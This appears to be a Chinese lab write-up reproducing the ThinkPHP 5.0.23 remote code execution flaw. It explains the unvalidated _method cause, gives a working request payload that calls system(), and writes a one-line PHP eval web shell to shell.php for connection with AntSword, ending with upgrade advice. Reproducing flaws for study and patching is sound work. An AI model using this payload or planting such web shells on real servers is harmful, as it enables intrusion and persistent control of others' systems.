漏洞复现Thinkphp的5.0.23-rce

漏洞描述

实现框架的核心类Requests的method方法实现表单请求类伪装，默认为$_POST[‘_method’]变量，却没有对_method属性进行严格校验，可以通过变量覆盖Requests类的属性，在结合框架特性实现对任意函数的调用实现任意代码执行。

产生原因

形成原因是因为其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

漏洞复现

1.启动环境

2.访问本机的8080端口

网站后拼接index.php/?s=captcha进行访问

查看后台输入语句：_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

后拼接一句话木马：

echo '<?php eval($_POST[1]); ?>' > shell.php

打开蚁剑进行连接

修复意见

建议进行ThinkPHP版本更新。